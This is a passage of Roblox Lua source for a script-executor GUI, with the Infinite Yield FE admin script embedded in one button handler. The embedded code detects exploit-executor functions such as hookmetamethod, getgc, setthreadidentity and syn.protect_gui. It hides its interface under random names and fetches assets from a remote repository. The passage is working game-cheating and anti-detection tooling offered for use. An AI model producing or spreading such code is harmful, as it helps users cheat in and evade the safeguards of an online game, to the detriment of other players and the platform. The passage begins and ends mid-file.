G2L["44"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["44"]["TextColor3"] = Color3.fromRGB(126, 33, 255);
G2L["44"]["BackgroundTransparency"] = 1;
G2L["44"]["Size"] = UDim2.new(0, 825, 0, 50);
G2L["44"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["44"]["Text"] = [[executor]];
-- StarterGui.ScreenGui.Frame4.TextButton
G2L["45"] = Instance.new("TextButton", G2L["42"]);
G2L["45"]["TextWrapped"] = true;
G2L["45"]["BorderSizePixel"] = 2;
G2L["45"]["TextSize"] = 14;
G2L["45"]["TextScaled"] = true;
G2L["45"]["TextColor3"] = Color3.fromRGB(133, 85, 255);
G2L["45"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8);
G2L["45"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["45"]["Size"] = UDim2.new(0, 38, 0, 39);
G2L["45"]["BorderColor3"] = Color3.fromRGB(145, 54, 255);
G2L["45"]["Text"] = [[X]];
G2L["45"]["Position"] = UDim2.new(0.95394, 0, 0, 0);
-- StarterGui.ScreenGui.Frame4.TextButton.LocalScript
G2L["46"] = Instance.new("LocalScript", G2L["45"]);
-- StarterGui.ScreenGui.Frame4.TextButton
G2L["47"] = Instance.new("TextButton", G2L["42"]);
G2L["47"]["BorderSizePixel"] = 0;
G2L["47"]["TextSize"] = 14;
G2L["47"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["47"]["BackgroundColor3"] = Color3.fromRGB(162, 48, 255);
G2L["47"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["47"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["47"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["47"]["Text"] = [[BACK]];
G2L["47"]["Position"] = UDim2.new(0.75758, 0, 0.87593, 0);
-- StarterGui.ScreenGui.Frame4.TextButton.LocalScript
G2L["48"] = Instance.new("LocalScript", G2L["47"]);
-- StarterGui.ScreenGui.Frame4.TextBox
G2L["49"] = Instance.new("TextBox", G2L["42"]);
G2L["49"]["CursorPosition"] = -1;
G2L["49"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["49"]["BorderSizePixel"] = 0;
G2L["49"]["TextWrapped"] = true;
G2L["49"]["TextSize"] = 14;
G2L["49"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["49"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["49"]["BackgroundColor3"] = Color3.fromRGB(46, 46, 46);
G2L["49"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["49"]["PlaceholderText"] = [[-- put your script here]];
G2L["49"]["Size"] = UDim2.new(0, 789, 0, 265);
G2L["49"]["Position"] = UDim2.new(0.02424, 0, 0.15136, 0);
G2L["49"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["49"]["Text"] = [[]];
-- StarterGui.ScreenGui.Frame4.TextButton
G2L["4a"] = Instance.new("TextButton", G2L["42"]);
G2L["4a"]["TextWrapped"] = true;
G2L["4a"]["BorderSizePixel"] = 2;
G2L["4a"]["TextSize"] = 14;
G2L["4a"]["TextScaled"] = true;
G2L["4a"]["TextColor3"] = Color3.fromRGB(133, 85, 255);
G2L["4a"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8);
G2L["4a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4a"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["4a"]["BorderColor3"] = Color3.fromRGB(145, 54, 255);
G2L["4a"]["Text"] = [[execute]];
G2L["4a"]["Position"] = UDim2.new(0.02424, 0, 0.87593, 0);
-- StarterGui.ScreenGui.Frame4.TextButton.LocalScript
G2L["4b"] = Instance.new("LocalScript", G2L["4a"]);
-- StarterGui.ScreenGui.Frame4.TextButton
G2L["4c"] = Instance.new("TextButton", G2L["42"]);
G2L["4c"]["TextWrapped"] = true;
G2L["4c"]["BorderSizePixel"] = 2;
G2L["4c"]["TextSize"] = 14;
G2L["4c"]["TextScaled"] = true;
G2L["4c"]["TextColor3"] = Color3.fromRGB(133, 85, 255);
G2L["4c"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8);
G2L["4c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4c"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["4c"]["BorderColor3"] = Color3.fromRGB(145, 54, 255);
G2L["4c"]["Text"] = [[clear]];
G2L["4c"]["Position"] = UDim2.new(0.37818, 0, 0.87593, 0);
-- StarterGui.ScreenGui.Frame4.TextButton.LocalScript
G2L["4d"] = Instance.new("LocalScript", G2L["4c"]);
-- StarterGui.ScreenGui.Frame3.DraggableFrame
local function C_3()
local script = G2L["3"];
local frame = script.Parent
local UserInputService = game:GetService("UserInputService")
local dragging = false
local dragInput
local dragStart
local startPos
local function update(input)
local delta = input.Position - dragStart
frame.Position = UDim2.new(
startPos.X.Scale,
startPos.X.Offset + delta.X,
startPos.Y.Scale,
startPos.Y.Offset + delta.Y
)
end
frame.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
frame.InputChanged:Connect(function(input)
if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then
dragInput = input
end
end)
UserInputService.InputChanged:Connect(function(input)
if dragging and input == dragInput then
update(input)
end
end)
end;
task.spawn(C_3);
-- StarterGui.ScreenGui.Frame3.TextButton.LocalScript
local function C_6()
local script = G2L["6"];
script.Parent.MouseButton1Click:Connect(function()
script.Parent.Parent.Parent.Frame1.Visible = true
script.Parent.Parent.Parent.Frame3.Visible = false
script.Parent.Parent.Parent.Frame1.Position = script.Parent.Parent.Parent.Frame3.Position
end)
end;
task.spawn(C_6);
-- StarterGui.ScreenGui.Frame3.TextButton.LocalScript
local function C_8()
local script = G2L["8"];
local ogtext = script.Parent.Text
script.Parent.MouseButton1Click:Connect(function()
script.Parent.Parent.Parent.Frame3:Destroy()
end)
end;
task.spawn(C_8);
-- StarterGui.ScreenGui.Frame3.TextButton.LocalScript
local function C_a()
local script = G2L["a"];
script.Parent.MouseButton1Click:Connect(function()
if IY_LOADED and not _G.IY_DEBUG == true then
-- error("Infinite Yield is already running!", 0)
return
end
pcall(function() getgenv().IY_LOADED = true end)
if not game:IsLoaded() then game.Loaded:Wait() end
function missing(t, f, fallback)
if type(f) == t then return f end
return fallback
end
cloneref = missing("function", cloneref, function(...) return ... end)
sethidden = missing("function", sethiddenproperty or set_hidden_property or set_hidden_prop)
gethidden = missing("function", gethiddenproperty or get_hidden_property or get_hidden_prop)
queueteleport = missing("function", queue_on_teleport or (syn and syn.queue_on_teleport) or (fluxus and fluxus.queue_on_teleport))
httprequest = missing("function", request or http_request or (syn and syn.request) or (http and http.request) or (fluxus and fluxus.request))
everyClipboard = missing("function", setclipboard or toclipboard or set_clipboard or (Clipboard and Clipboard.set))
firetouchinterest = missing("function", firetouchinterest)
waxwritefile, waxreadfile = writefile, readfile
writefile = missing("function", waxwritefile) and function(file, data, safe)
if safe == true then return pcall(waxwritefile, file, data) end
waxwritefile(file, data)
end
readfile = missing("function", waxreadfile) and function(file, safe)
if safe == true then return pcall(waxreadfile, file) end
return waxreadfile(file)
end
isfile = missing("function", isfile, readfile and function(file)
local success, result = pcall(function()
return readfile(file)
end)
return success and result ~= nil and result ~= ""
end)
makefolder = missing("function", makefolder)
isfolder = missing("function", isfolder)
waxgetcustomasset = missing("function", getcustomasset or getsynasset)
hookfunction = missing("function", hookfunction)
hookmetamethod = missing("function", hookmetamethod)
getnamecallmethod = missing("function", getnamecallmethod or get_namecall_method)
checkcaller = missing("function", checkcaller, function() return false end)
newcclosure = missing("function", newcclosure)
getgc = missing("function", getgc or get_gc_objects)
setthreadidentity = missing("function", setthreadidentity or (syn and syn.set_thread_identity) or syn_context_set or setthreadcontext)
replicatesignal = missing("function", replicatesignal)
COREGUI = cloneref(game:GetService("CoreGui"))
Players = cloneref(game:GetService("Players"))
UserInputService = cloneref(game:GetService("UserInputService"))
TweenService = cloneref(game:GetService("TweenService"))
HttpService = cloneref(game:GetService("HttpService"))
MarketplaceService = cloneref(game:GetService("MarketplaceService"))
RunService = cloneref(game:GetService("RunService"))
TeleportService = cloneref(game:GetService("TeleportService"))
StarterGui = cloneref(game:GetService("StarterGui"))
GuiService = cloneref(game:GetService("GuiService"))
Lighting = cloneref(game:GetService("Lighting"))
ContextActionService = cloneref(game:GetService("ContextActionService"))
ReplicatedStorage = cloneref(game:GetService("ReplicatedStorage"))
GroupService = cloneref(game:GetService("GroupService"))
PathService = cloneref(game:GetService("PathfindingService"))
SoundService = cloneref(game:GetService("SoundService"))
Teams = cloneref(game:GetService("Teams"))
StarterPlayer = cloneref(game:GetService("StarterPlayer"))
InsertService = cloneref(game:GetService("InsertService"))
ChatService = cloneref(game:GetService("Chat"))
ProximityPromptService = cloneref(game:GetService("ProximityPromptService"))
ContentProvider = cloneref(game:GetService("ContentProvider"))
StatsService = cloneref(game:GetService("Stats"))
MaterialService = cloneref(game:GetService("MaterialService"))
AvatarEditorService = cloneref(game:GetService("AvatarEditorService"))
TextService = cloneref(game:GetService("TextService"))
TextChatService = cloneref(game:GetService("TextChatService"))
CaptureService = cloneref(game:GetService("CaptureService"))
VoiceChatService = cloneref(game:GetService("VoiceChatService"))
IYMouse = cloneref(Players.LocalPlayer:GetMouse())
PlayerGui = cloneref(Players.LocalPlayer:FindFirstChildWhichIsA("PlayerGui"))
PlaceId, JobId = game.PlaceId, game.JobId
IsOnMobile = table.find({Enum.Platform.Android, Enum.Platform.IOS}, UserInputService:GetPlatform())
isLegacyChat = TextChatService.ChatVersion == Enum.ChatVersion.LegacyChatService
-- xylex & europa
local iyassets = {
["infiniteyield/assets/bindsandplugins.png"] = "rbxassetid://5147695474",
["infiniteyield/assets/close.png"] = "rbxassetid://5054663650",
["infiniteyield/assets/editaliases.png"] = "rbxassetid://5147488658",
["infiniteyield/assets/editkeybinds.png"] = "rbxassetid://129697930",
["infiniteyield/assets/edittheme.png"] = "rbxassetid://4911962991",
["infiniteyield/assets/editwaypoints.png"] = "rbxassetid://5147488592",
["infiniteyield/assets/imgstudiopluginlogo.png"] = "rbxassetid://4113050383",
["infiniteyield/assets/logo.png"] = "rbxassetid://1352543873",
["infiniteyield/assets/minimize.png"] = "rbxassetid://2406617031",
["infiniteyield/assets/pin.png"] = "rbxassetid://6234691350",
["infiniteyield/assets/reference.png"] = "rbxassetid://3523243755",
["infiniteyield/assets/settings.png"] = "rbxassetid://1204397029"
}
local function getcustomasset(asset)
if waxgetcustomasset then
local success, result = pcall(function()
return waxgetcustomasset(asset)
end)
if success and result ~= nil and result ~= "" then
return result
end
end
return iyassets[asset]
end
if makefolder and isfolder and writefile and isfile then
pcall(function() -- good executor trust
local assets = "https://raw.githubusercontent.com/infyiff/backup/refs/heads/main/"
for _, folder in {"infiniteyield", "infiniteyield/assets"} do
if not isfolder(folder) then
makefolder(folder)
end
end
for path in iyassets do
if not isfile(path) then
writefile(path, game:HttpGet((path:gsub("infiniteyield/", assets))))
end
end
if IsOnMobile then writefile("infiniteyield/assets/.nomedia") end
end)
end
currentVersion = "6.3.4"
ScaledHolder = Instance.new("Frame")
Scale = Instance.new("UIScale")
Holder = Instance.new("Frame")
Title = Instance.new("TextLabel")
Dark = Instance.new("Frame")
Cmdbar = Instance.new("TextBox")
CMDsF = Instance.new("ScrollingFrame")
cmdListLayout = Instance.new("UIListLayout")
SettingsButton = Instance.new("ImageButton")
ColorsButton = Instance.new("ImageButton")
Settings = Instance.new("Frame")
Prefix = Instance.new("TextLabel")
PrefixBox = Instance.new("TextBox")
Keybinds = Instance.new("TextLabel")
StayOpen = Instance.new("TextLabel")
Button = Instance.new("Frame")
On = Instance.new("TextButton")
Positions = Instance.new("TextLabel")
EventBind = Instance.new("TextLabel")
Plugins = Instance.new("TextLabel")
Example = Instance.new("TextButton")
Notification = Instance.new("Frame")
Title_2 = Instance.new("TextLabel")
Text_2 = Instance.new("TextLabel")
CloseButton = Instance.new("TextButton")
CloseImage = Instance.new("ImageLabel")
PinButton = Instance.new("TextButton")
PinImage = Instance.new("ImageLabel")
Tooltip = Instance.new("Frame")
Title_3 = Instance.new("TextLabel")
Description = Instance.new("TextLabel")
IntroBackground = Instance.new("Frame")
Logo = Instance.new("ImageLabel")
Credits = Instance.new("TextBox")
KeybindsFrame = Instance.new("Frame")
Close = Instance.new("TextButton")
Add = Instance.new("TextButton")
Delete = Instance.new("TextButton")
Holder_2 = Instance.new("ScrollingFrame")
Example_2 = Instance.new("Frame")
Text_3 = Instance.new("TextLabel")
Delete_2 = Instance.new("TextButton")
KeybindEditor = Instance.new("Frame")
background_2 = Instance.new("Frame")
Dark_3 = Instance.new("Frame")
Directions = Instance.new("TextLabel")
BindTo = Instance.new("TextButton")
TriggerLabel = Instance.new("TextLabel")
BindTriggerSelect = Instance.new("TextButton")
Add_2 = Instance.new("TextButton")
Toggles = Instance.new("ScrollingFrame")
ClickTP = Instance.new("TextLabel")
Select = Instance.new("TextButton")
ClickDelete = Instance.new("TextLabel")
Select_2 = Instance.new("TextButton")
Cmdbar_2 = Instance.new("TextBox")
Cmdbar_3 = Instance.new("TextBox")
CreateToggle = Instance.new("TextLabel")
Button_2 = Instance.new("Frame")
On_2 = Instance.new("TextButton")
shadow_2 = Instance.new("Frame")
PopupText_2 = Instance.new("TextLabel")
Exit_2 = Instance.new("TextButton")
ExitImage_2 = Instance.new("ImageLabel")
PositionsFrame = Instance.new("Frame")
Close_3 = Instance.new("TextButton")
Delete_5 = Instance.new("TextButton")
Part = Instance.new("TextButton")
Holder_4 = Instance.new("ScrollingFrame")
Example_4 = Instance.new("Frame")
Text_5 = Instance.new("TextLabel")
Delete_6 = Instance.new("TextButton")
TP = Instance.new("TextButton")
AliasesFrame = Instance.new("Frame")
Close_2 = Instance.new("TextButton")
Delete_3 = Instance.new("TextButton")
Holder_3 = Instance.new("ScrollingFrame")
Example_3 = Instance.new("Frame")
Text_4 = Instance.new("TextLabel")
Delete_4 = Instance.new("TextButton")
Aliases = Instance.new("TextLabel")
PluginsFrame = Instance.new("Frame")
Close_4 = Instance.new("TextButton")
Add_3 = Instance.new("TextButton")
Holder_5 = Instance.new("ScrollingFrame")
Example_5 = Instance.new("Frame")
Text_6 = Instance.new("TextLabel")
Delete_7 = Instance.new("TextButton")
PluginEditor = Instance.new("Frame")
background_3 = Instance.new("Frame")
Dark_2 = Instance.new("Frame")
Img = Instance.new("ImageButton")
AddPlugin = Instance.new("TextButton")
FileName = Instance.new("TextBox")
About = Instance.new("TextLabel")
Directions_2 = Instance.new("TextLabel")
shadow_3 = Instance.new("Frame")
PopupText_3 = Instance.new("TextLabel")
Exit_3 = Instance.new("TextButton")
ExitImage_3 = Instance.new("ImageLabel")
AliasHint = Instance.new("TextLabel")
PluginsHint = Instance.new("TextLabel")
PositionsHint = Instance.new("TextLabel")
ToPartFrame = Instance.new("Frame")
background_4 = Instance.new("Frame")
ChoosePart = Instance.new("TextButton")
CopyPath = Instance.new("TextButton")
Directions_3 = Instance.new("TextLabel")
Path = Instance.new("TextLabel")
shadow_4 = Instance.new("Frame")
PopupText_5 = Instance.new("TextLabel")
Exit_4 = Instance.new("TextButton")
ExitImage_5 = Instance.new("ImageLabel")
logs = Instance.new("Frame")
shadow = Instance.new("Frame")
Hide = Instance.new("TextButton")
ImageLabel = Instance.new("ImageLabel")
PopupText = Instance.new("TextLabel")
Exit = Instance.new("TextButton")
ImageLabel_2 = Instance.new("ImageLabel")
background = Instance.new("Frame")
chat = Instance.new("Frame")
Clear = Instance.new("TextButton")
SaveChatlogs = Instance.new("TextButton")
Toggle = Instance.new("TextButton")
scroll_2 = Instance.new("ScrollingFrame")
join = Instance.new("Frame")
Toggle_2 = Instance.new("TextButton")
Clear_2 = Instance.new("TextButton")
scroll_3 = Instance.new("ScrollingFrame")
listlayout = Instance.new("UIListLayout",scroll_3)
selectChat = Instance.new("TextButton")
selectJoin = Instance.new("TextButton")
function randomString()
local length = math.random(10,20)
local array = {}
for i = 1, length do
array[i] = string.char(math.random(32, 126))
end
return table.concat(array)
end
PARENT = nil
if get_hidden_gui or gethui then
local hiddenUI = get_hidden_gui or gethui
local Main = Instance.new("ScreenGui")
Main.Name = randomString()
Main.Parent = hiddenUI()
PARENT = Main
elseif (not is_sirhurt_closure) and (syn and syn.protect_gui) then
local Main = Instance.new("ScreenGui")
Main.Name = randomString()
syn.protect_gui(Main)
Main.Parent = COREGUI
PARENT = Main
elseif COREGUI:FindFirstChild("RobloxGui") then
PARENT = COREGUI.RobloxGui
else
local Main = Instance.new("ScreenGui")
Main.Name = randomString()
Main.Parent = COREGUI
PARENT = Main
end
shade1 = {}
shade2 = {}
shade3 = {}
text1 = {}
text2 = {}
scroll = {}
ScaledHolder.Name = randomString()
ScaledHolder.Size = UDim2.fromScale(1, 1)
ScaledHolder.BackgroundTransparency = 1
ScaledHolder.Parent = PARENT
Scale.Name = randomString()
Holder.Name = randomString()
Holder.Parent = ScaledHolder
Holder.Active = true
Holder.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
Holder.BorderSizePixel = 0
Holder.Position = UDim2.new(1, -250, 1, -220)
Holder.Size = UDim2.new(0, 250, 0, 220)
Holder.ZIndex = 10
table.insert(shade2,Holder)
Title.Name = "Title"
Title.Parent = Holder
Title.Active = true
Title.BackgroundColor3 = Color3.fromRGB(36,36,37)
Title.BorderSizePixel = 0
Title.Size = UDim2.new(0, 250, 0, 20)
Title.Font = Enum.Font.SourceSans
Title.TextSize = 18
Title.Text = "Infinite Yield FE v" .. currentVersion
do
local emoji = ({
["01 01"] = "🎆",
[(function(Year)
local A = math.floor(Year/100)
local B = math.floor((13+8*A)/25)
local C = (15-B+A-math.floor(A/4))%30
local D = (4+A-math.floor(A/4))%7
local E = (19*(Year%19)+C)%30
local F = (2*(Year%4)+4*(Year%7)+6*E+D)%7
local G = (22+E+F)
if E == 29 and F == 6 then
return "04 19"
elseif E == 28 and F == 6 then
return "04 18"
elseif 31 < G then
return ("04 %02d"):format(G-31)
end
return ("03 %02d"):format(G)
end)(tonumber(os.date"%Y"))] = "🥚",
["10 31"] = "🎃",
["12 25"] = "🎄"
})[os.date("%m %d")]
if emoji then
Title.Text = ("%s %s %s"):format(emoji, Title.Text, emoji)
end
end
Title.TextColor3 = Color3.new(1, 1, 1)
Title.ZIndex = 10
table.insert(shade1,Title)
table.insert(text1,Title)
Dark.Name = "Dark"
Dark.Parent = Holder
Dark.Active = true
Dark.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
Dark.BorderSizePixel = 0
Dark.Position = UDim2.new(0, 0, 0, 45)
Dark.Size = UDim2.new(0, 250, 0, 175)
Dark.ZIndex = 10
table.insert(shade1,Dark)
Cmdbar.Name = "Cmdbar"
Cmdbar.Parent = Holder
Cmdbar.BackgroundTransparency = 1
Cmdbar.BorderSizePixel = 0
Cmdbar.Position = UDim2.new(0, 5, 0, 20)
Cmdbar.Size = UDim2.new(0, 240, 0, 25)
Cmdbar.Font = Enum.Font.SourceSans
Cmdbar.TextSize = 18
Cmdbar.TextXAlignment = Enum.TextXAlignment.Left
Cmdbar.TextColor3 = Color3.new(1, 1, 1)
Cmdbar.Text = ""
Cmdbar.ZIndex = 10
Cmdbar.PlaceholderText = "Command Bar"
CMDsF.Name = "CMDs"
CMDsF.Parent = Holder
CMDsF.BackgroundTransparency = 1
CMDsF.BorderSizePixel = 0
CMDsF.Position = UDim2.new(0, 5, 0, 45)
CMDsF.Size = UDim2.new(0, 245, 0, 175)
CMDsF.ScrollBarImageColor3 = Color3.fromRGB(78,78,79)
CMDsF.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
CMDsF.CanvasSize = UDim2.new(0, 0, 0, 0)
CMDsF.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
CMDsF.ScrollBarThickness = 8
CMDsF.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
CMDsF.VerticalScrollBarInset = 'Always'
CMDsF.ZIndex = 10
table.insert(scroll,CMDsF)
cmdListLayout.Parent = CMDsF
SettingsButton.Name = "SettingsButton"
SettingsButton.Parent = Holder
SettingsButton.BackgroundTransparency = 1
SettingsButton.Position = UDim2.new(0, 230, 0, 0)
SettingsButton.Size = UDim2.new(0, 20, 0, 20)
SettingsButton.Image = getcustomasset("infiniteyield/assets/settings.png")
SettingsButton.ZIndex = 10
ReferenceButton = Instance.new("ImageButton")
ReferenceButton.Name = "ReferenceButton"
ReferenceButton.Parent = Holder
ReferenceButton.BackgroundTransparency = 1
ReferenceButton.Position = UDim2.new(0, 212, 0, 2)
ReferenceButton.Size = UDim2.new(0, 16, 0, 16)
ReferenceButton.Image = getcustomasset("infiniteyield/assets/reference.png")
ReferenceButton.ZIndex = 10
Settings.Name = "Settings"
Settings.Parent = Holder
Settings.Active = true
Settings.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
Settings.BorderSizePixel = 0
Settings.Position = UDim2.new(0, 0, 0, 220)
Settings.Size = UDim2.new(0, 250, 0, 175)
Settings.ZIndex = 10
table.insert(shade1,Settings)
SettingsHolder = Instance.new("ScrollingFrame")
SettingsHolder.Name = "Holder"
SettingsHolder.Parent = Settings
SettingsHolder.BackgroundTransparency = 1
SettingsHolder.BorderSizePixel = 0
SettingsHolder.Size = UDim2.new(1,0,1,0)
SettingsHolder.ScrollBarImageColor3 = Color3.fromRGB(78,78,79)
SettingsHolder.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
SettingsHolder.CanvasSize = UDim2.new(0, 0, 0, 235)
SettingsHolder.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
SettingsHolder.ScrollBarThickness = 8
SettingsHolder.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
SettingsHolder.VerticalScrollBarInset = 'Always'
SettingsHolder.ZIndex = 10
table.insert(scroll,SettingsHolder)
Prefix.Name = "Prefix"
Prefix.Parent = SettingsHolder
Prefix.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
Prefix.BorderSizePixel = 0
Prefix.BackgroundTransparency = 1
Prefix.Position = UDim2.new(0, 5, 0, 5)
Prefix.Size = UDim2.new(1, -10, 0, 20)
Prefix.Font = Enum.Font.SourceSans
Prefix.TextSize = 14
Prefix.Text = "Prefix"
Prefix.TextColor3 = Color3.new(1, 1, 1)
Prefix.TextXAlignment = Enum.TextXAlignment.Left
Prefix.ZIndex = 10
table.insert(shade2,Prefix)
table.insert(text1,Prefix)
PrefixBox.Name = "PrefixBox"
PrefixBox.Parent = Prefix
PrefixBox.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
PrefixBox.BorderSizePixel = 0
PrefixBox.Position = UDim2.new(1, -20, 0, 0)
PrefixBox.Size = UDim2.new(0, 20, 0, 20)
PrefixBox.Font = Enum.Font.SourceSansBold
PrefixBox.TextSize = 14
PrefixBox.Text = ''
PrefixBox.TextColor3 = Color3.new(0, 0, 0)
PrefixBox.ZIndex = 10
table.insert(shade3,PrefixBox)
table.insert(text2,PrefixBox)
function makeSettingsButton(name,iconID,off)
local button = Instance.new("TextButton")
button.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
button.BorderSizePixel = 0
button.Position = UDim2.new(0,0,0,0)
button.Size = UDim2.new(1,0,0,25)
button.Text = ""
button.ZIndex = 10
local icon = Instance.new("ImageLabel")
icon.Name = "Icon"
icon.Parent = button
icon.Position = UDim2.new(0,5,0,5)
icon.Size = UDim2.new(0,16,0,16)
icon.BackgroundTransparency = 1
icon.Image = iconID
icon.ZIndex = 10
if off then
icon.ScaleType = Enum.ScaleType.Crop
icon.ImageRectSize = Vector2.new(16,16)
icon.ImageRectOffset = Vector2.new(off,0)
end
local label = Instance.new("TextLabel")
label.Name = "ButtonLabel"
label.Parent = button
label.BackgroundTransparency = 1
label.Text = name
label.Position = UDim2.new(0,28,0,0)
label.Size = UDim2.new(1,-28,1,0)
label.Font = Enum.Font.SourceSans
label.TextColor3 = Color3.new(1, 1, 1)
label.TextSize = 14
label.ZIndex = 10
label.TextXAlignment = Enum.TextXAlignment.Left
table.insert(shade2,button)
table.insert(text1,label)
return button
end
ColorsButton = makeSettingsButton("Edit Theme",getcustomasset("infiniteyield/assets/edittheme.png"))
ColorsButton.Position = UDim2.new(0, 5, 0, 55)
ColorsButton.Size = UDim2.new(1, -10, 0, 25)
ColorsButton.Name = "Colors"
ColorsButton.Parent = SettingsHolder
Keybinds = makeSettingsButton("Edit Keybinds",getcustomasset("infiniteyield/assets/editkeybinds.png"))
Keybinds.Position = UDim2.new(0, 5, 0, 85)
Keybinds.Size = UDim2.new(1, -10, 0, 25)
Keybinds.Name = "Keybinds"
Keybinds.Parent = SettingsHolder
Aliases = makeSettingsButton("Edit Aliases",getcustomasset("infiniteyield/assets/editaliases.png"))
Aliases.Position = UDim2.new(0, 5, 0, 115)
Aliases.Size = UDim2.new(1, -10, 0, 25)
Aliases.Name = "Aliases"
Aliases.Parent = SettingsHolder
StayOpen.Name = "StayOpen"
StayOpen.Parent = SettingsHolder
StayOpen.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
StayOpen.BorderSizePixel = 0
StayOpen.BackgroundTransparency = 1
StayOpen.Position = UDim2.new(0, 5, 0, 30)
StayOpen.Size = UDim2.new(1, -10, 0, 20)
StayOpen.Font = Enum.Font.SourceSans
StayOpen.TextSize = 14
StayOpen.Text = "Keep Menu Open"
StayOpen.TextColor3 = Color3.new(1, 1, 1)
StayOpen.TextXAlignment = Enum.TextXAlignment.Left
StayOpen.ZIndex = 10
table.insert(shade2,StayOpen)
table.insert(text1,StayOpen)
Button.Name = "Button"
Button.Parent = StayOpen
Button.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
Button.BorderSizePixel = 0
Button.Position = UDim2.new(1, -20, 0, 0)
Button.Size = UDim2.new(0, 20, 0, 20)
Button.ZIndex = 10
table.insert(shade3,Button)
On.Name = "On"
On.Parent = Button
On.BackgroundColor3 = Color3.fromRGB(150, 150, 151)
On.BackgroundTransparency = 1
On.BorderSizePixel = 0
On.Position = UDim2.new(0, 2, 0, 2)
On.Size = UDim2.new(0, 16, 0, 16)
On.Font = Enum.Font.SourceSans
On.FontSize = Enum.FontSize.Size14
On.Text = ""
On.TextColor3 = Color3.new(0, 0, 0)
On.ZIndex = 10
Positions = makeSettingsButton("Edit/Goto Waypoints",getcustomasset("infiniteyield/assets/editwaypoints.png"))
Positions.Position = UDim2.new(0, 5, 0, 145)
Positions.Size = UDim2.new(1, -10, 0, 25)
Positions.Name = "Waypoints"
Positions.Parent = SettingsHolder
EventBind = makeSettingsButton("Edit Event Binds",getcustomasset("infiniteyield/assets/bindsandplugins.png"),759)
EventBind.Position = UDim2.new(0, 5, 0, 205)
EventBind.Size = UDim2.new(1, -10, 0, 25)
EventBind.Name = "EventBinds"
EventBind.Parent = SettingsHolder
Plugins = makeSettingsButton("Manage Plugins",getcustomasset("infiniteyield/assets/bindsandplugins.png"),743)
Plugins.Position = UDim2.new(0, 5, 0, 175)
Plugins.Size = UDim2.new(1, -10, 0, 25)
Plugins.Name = "Plugins"
Plugins.Parent = SettingsHolder
Example.Name = "Example"
Example.Parent = Holder
Example.BackgroundTransparency = 1
Example.BorderSizePixel = 0
Example.Size = UDim2.new(0, 190, 0, 20)
Example.Visible = false
Example.Font = Enum.Font.SourceSans
Example.TextSize = 18
Example.Text = "Example"
Example.TextColor3 = Color3.new(1, 1, 1)
Example.TextXAlignment = Enum.TextXAlignment.Left
Example.ZIndex = 10
table.insert(text1,Example)
Notification.Name = randomString()
Notification.Parent = ScaledHolder
Notification.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
Notification.BorderSizePixel = 0
Notification.Position = UDim2.new(1, -500, 1, 20)
Notification.Size = UDim2.new(0, 250, 0, 100)
Notification.ZIndex = 10
table.insert(shade1,Notification)
Title_2.Name = "Title"
Title_2.Parent = Notification
Title_2.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
Title_2.BorderSizePixel = 0
Title_2.Size = UDim2.new(0, 250, 0, 20)
Title_2.Font = Enum.Font.SourceSans
Title_2.TextSize = 14
Title_2.Text = "Notification Title"
Title_2.TextColor3 = Color3.new(1, 1, 1)
Title_2.ZIndex = 10
table.insert(shade2,Title_2)
table.insert(text1,Title_2)
Text_2.Name = "Text"
Text_2.Parent = Notification
Text_2.BackgroundTransparency = 1
Text_2.BorderSizePixel = 0
Text_2.Position = UDim2.new(0, 5, 0, 25)
Text_2.Size = UDim2.new(0, 240, 0, 75)
Text_2.Font = Enum.Font.SourceSans
Text_2.TextSize = 16
Text_2.Text = "Notification Text"
Text_2.TextColor3 = Color3.new(1, 1, 1)
Text_2.TextWrapped = true
Text_2.ZIndex = 10
table.insert(text1,Text_2)
CloseButton.Name = "CloseButton"
CloseButton.Parent = Notification
CloseButton.BackgroundTransparency = 1
CloseButton.Position = UDim2.new(1, -20, 0, 0)
CloseButton.Size = UDim2.new(0, 20, 0, 20)
